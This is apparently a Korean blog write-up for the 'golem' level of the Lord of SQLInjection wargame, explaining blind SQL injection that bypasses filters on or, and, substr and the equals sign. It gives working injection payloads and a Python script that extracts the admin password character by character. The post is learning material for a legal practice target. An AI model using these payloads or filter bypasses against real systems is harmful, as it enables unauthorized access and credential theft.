본문 바로가기
CTF/los

[CTF] Lord of SQLInjection 11번 golem Write-Up

by spareone 2026. 3. 10.
[그림 1] 문제 메인 페이지

Blind SQL Injection 문제입니다.

특이사항으로는 or, and, substr, =가 검열당하고 있습니다.

사실 MySQL에서는 or -> ||, and -> &&로 바꿔도 정상 동작하며, substr()과 mid()는 동일한 기능을 하는 함수입니다. 즉, substr() 대신에 mid() 쓰면 됩니다.

문제는 = 기호입니다.

  1. 값의 비교가 필요할 경우 > < 연산자로 우회하여, 최솟값부터 하나씩 대입하여 결과를 확인해야 합니다.
  2. 문자열을 비교해야 할 경우, like()나 in 등으로 우회 가능합니다.
select id from prob_golem where id='guest' and pw=''||id like('admin')#'

이런 식입니다.

[그림 2] like 연산자로 = 우회

우회가 된 것을 확인할 수 있습니다.

select id from prob_golem where id='guest' and pw=''||id like('admin')&&length(pw)>{i}#'

이제 pw의 길이를 구할 차례입니다.

>를 이용해서, 1부터 비교해 봅니다.

차례로 넣으면 계속 성립이 되다가, 어느 지점부터 Hello admin이 뜨지 않을 것입니다. 이 지점이 pw의 길이라고 보면 됩니다.

select id from prob_golem where id='guest' and pw=''||id like('admin')&&ascii(mid(pw,{i},1))>{j}#'

문자 찾는 부분도 = 없이 찾는 여러 방법이 있겠지만, 이번에는 순차 탐색을 이용했습니다.

문자열 길이 구하는 것 처럼 최솟값부터 시작해 Hello admin이 안 뜨는 시점까지 구해 보는 것입니다.

like 써도 풀이가 가능할 것입니다.

 

import requests

def func():
    URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
    cookie = {
        'PHPSESSID' : "input session value"
    }

    flag_len = 0
    while(True):
        flag_len += 1
        params = {
            'pw' : f"'||id like('admin')&&length(pw)>{flag_len}#"
        }
        response = requests.get(URL, params=params, cookies=cookie)
        if "Hello admin" not in response.text:
            break
    
    print(f"flag_len : {flag_len}")

    ans = ''
    for i in range(flag_len):
        for j in range(32, 127):
            params = {
                'pw' : f"'||id like('admin')&&ascii(mid(pw,{i+1},1))>{j}#"
            }
            response = requests.get(URL, params=params, cookies=cookie)
            if "Hello admin" not in response.text:
                ans += chr(j)
                break
        print(ans)
    
    return ans

if __name__ == '__main__':
    print(func())

자동화 코드입니다.

[그림 3] 문제 정답처리

패스워드를 입력하면 문제가 정답처리 됩니다.

 

댓글